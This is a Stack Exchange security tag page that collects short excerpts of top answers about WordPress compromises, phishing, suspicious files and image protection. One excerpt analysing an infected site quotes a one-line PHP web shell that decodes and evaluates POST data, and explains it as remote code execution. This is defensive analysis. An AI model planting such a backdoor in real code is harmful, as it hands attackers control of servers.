Skip to main content
Share Your Experience: Take the 2024 Developer Survey
96 votes
Accepted

Discouraging users from copying images off a website?

There is no way to block saving of images, but here are some ideas to make it harder. To prevent right-clicking the image to save it, you can overlay a transparent div on it. The user will then right-...
Sjoerd's user avatar
  • 30.8k
52 votes

Can I check the content of a suspicious file directly on the server using an editor, e.g. vim?

In order for the opening of the file to pose a risk, the file would need to include an exploit for the specific text editor you use. Then when you open the file, the exploit would trigger. While ...
schroeder's user avatar
  • 131k
34 votes

How to replace certain backup files on a website every 30 minutes?

Reverting the changes every 30 minutes is not a solution. You absolutely need to find out the root cause and stop this from happening by removing the vulnerability or the persistence. This may include ...
Esa Jokinen's user avatar
26 votes
Accepted

Is it possible to find a buffer overflow in WordPress?

As PHP does memory management and a lot of stuff by itself, finding a buffer overflow specifically in WordPress doesn't really make sense to me. Before discrediting that Penetration Tester, I'd ask ...
GxTruth's user avatar
  • 953
21 votes

Discouraging users from copying images off a website?

Before doing things like this you always have to ask yourself: What is your actual goal? It is impossible to stop a determined attacker from getting your images, what you can do is make it harder ...
Voo's user avatar
  • 670
20 votes

Is it possible to find a buffer overflow in WordPress?

It could be that he found a buffer overflow in PHP or glibc which can be exploited via Wordpress. For example, 3 years ago there was a hole in gethostbyname() which could be exploited via Wordpress. ...
Aria's user avatar
  • 2,701
18 votes

Can I check the content of a suspicious file directly on the server using an editor, e.g. vim?

Generally, it's safe, but there are known instances where viewing a file with unix tools trigger an exploit. E.g. CVE-2019-8904, where running file on a file triggers a buffer overflow. Edit: viewing ...
Sjoerd's user avatar
  • 30.8k
17 votes
Accepted

How to report unsuccessful attacks to the source network admins?

Don't lose your time pursuing those guys or litigating. Unless you have how to prove that you had a sizable financial loss, and you can prove the user controlling the computer that uses IP, you can ...
ThoriumBR's user avatar
  • 54.4k
16 votes
Accepted

Bank of America phishing site

I would contact the business in question. They are the ones who are most directly affected and can also shut it down quickest. Of course, the phishers will probably just move on to another server to ...
Conor Mancone's user avatar
15 votes

Find the security hole on my site and prevent it

hacker could access root folder of my host, create files and change permission of file to allow them to be executed. So you have basically an unrestricted compromise of your system, and that includes ...
Marcus Müller's user avatar
13 votes

What are sensitive Wordpress site directories

On Wordpress, user-generated content is supposed to go into /wp-content while other file names and directories (content inside /wp-admin, /wp-includes) are mostly static and predictable as they belong ...
Arminius's user avatar
  • 44.8k
12 votes
Accepted

Malicious code is injected to a PHP file

What does the code do? <?php if (isset($_POST['n3d9ebc'])) { eval(base64_decode($_POST['n3d9ebc'])); } ?> It does Remote Code Execution. If this were a $_GET[] parameter, it ...
Mark Buffalo's user avatar
  • 22.5k
12 votes
Accepted

What is this script attempting to do?

If you pop that script into a base64 decoder you get: https://gist.github.com/anonymous/914d5c5a82252dc0235995e32147c9d9 This is a reverse web shell that gives a lot of access to the server. So far, ...
Dildo McButt's user avatar
11 votes

Discouraging users from copying images off a website?

I've been faced with that problem several times. The best solution we found was to drastically reduce the image quality. Make it acceptable for the screen but too low quality to print out - even if it'...
Mayo's user avatar
  • 296
11 votes

Discouraging users from copying images off a website?

There is nothing you do which makes it impossible for users to view the content without being able to save it. The best you can manage is to make it more difficult. And if you make it more difficult ...
symcbean's user avatar
  • 18.6k
11 votes
Accepted

Why might I want to remove the wlwmanifest.xml file in WordPress?

There's no point in removing it. It's a static file with information on how Windows Live Writer can talk to wordpress. Discovering that you're running wordpress is usually rather trivial, so nothing ...
vidarlo's user avatar
  • 16.5k
9 votes

Bank of America phishing site

Multiple carriers in the USA allow you can forward the text message to 7726 (SPAM).
John Deters's user avatar
  • 34.2k
9 votes
Accepted

How does this Wordpress site got infected with vlomaw.zip, tondjr.zip, oniyur.zip

Getting more into this issue, I found out that someone was able to login into the dashboard as admin. A plugin was installed named apikey: 109.248.9.250 - - [06/Jan/2018:16:52:00 +0900] "GET /wp-...
lepe's user avatar
  • 2,194
8 votes

Discouraging users from copying images off a website?

Consider that an comic artist's business model is fandom. They make money by having fans*. Not so much because of the sales: sales happen because they have fans willing to pay. As such, limiting ...
joojaa's user avatar
  • 485
8 votes

Malicious code is injected to a PHP file

Your Wordpress got compromised. What does the code do? It's a mildly obfuscated minimal web shell. It takes the POST parameter n3d9ebc, base64-decodes it and executes the result as PHP code. This ...
Arminius's user avatar
  • 44.8k
8 votes

Why is Google using Local File Inclusion and Directory Traversal attempts on my site

It might be that somebody is including these links into his page for the Google bot to notice and follow. If you then block the IP address since it looks like attacks you will block the Google bot ...
Steffen Ullrich's user avatar
7 votes

Discouraging users from copying images off a website?

I'm surprised no-one has mentioned Digimarc or the EURion Constellation yet. Digimarc Digimarc is a human-imperceivable digital watermark that embeds authorship information into a raster image. ...
Dai's user avatar
  • 1,728
7 votes
Accepted

Are inactive vulnerable Wordpress plugins still unsafe?

Depends on the plugin, they can be if there is say a PHP script that can be called directly (doesn't depend on wordpress code or includes the right statements to load the wordpress libraries it needs)....
ewanm89's user avatar
  • 2,053
7 votes
Accepted

Q: Need help understanding hacked site that only impacts AT&T LTE users

Is the page server over https? If not it could be AT&T intercepting and injecting ads. See https://www.pcworld.com/article/2976298/websites/att-wi-fi-hotspot-caught-injecting-ads-into-web-pages....
David Waters's user avatar
  • 2,801
7 votes
Accepted

Can I upload a reverse shell to a website remotely if directory listing is enabled?

No you can't upload a reverse shell just because directory listing is enabled. You would need another vulnerability that allows you to upload arbitrary files to do that.
nobody's user avatar
  • 11.6k
6 votes

Effectively Pentest a Wordpress Site

Wordpress is attacked 3.5 times more often than non-CMSes. WPScan is a great tool that's been around since the BackTrack Linux days. However, there are more tools and techniques available. Here is a ...
atdre's user avatar
  • 19.1k
6 votes

Discouraging users from copying images off a website?

Well, i've tackles this a few times. It's impossible to stop. I can bypass all these measures in 2 seconds, but they would scare me off because of the doubt if you are serious about persecuting. Use ...
Tschallacka's user avatar

Only top scored, non community-wiki answers of a minimum length are eligible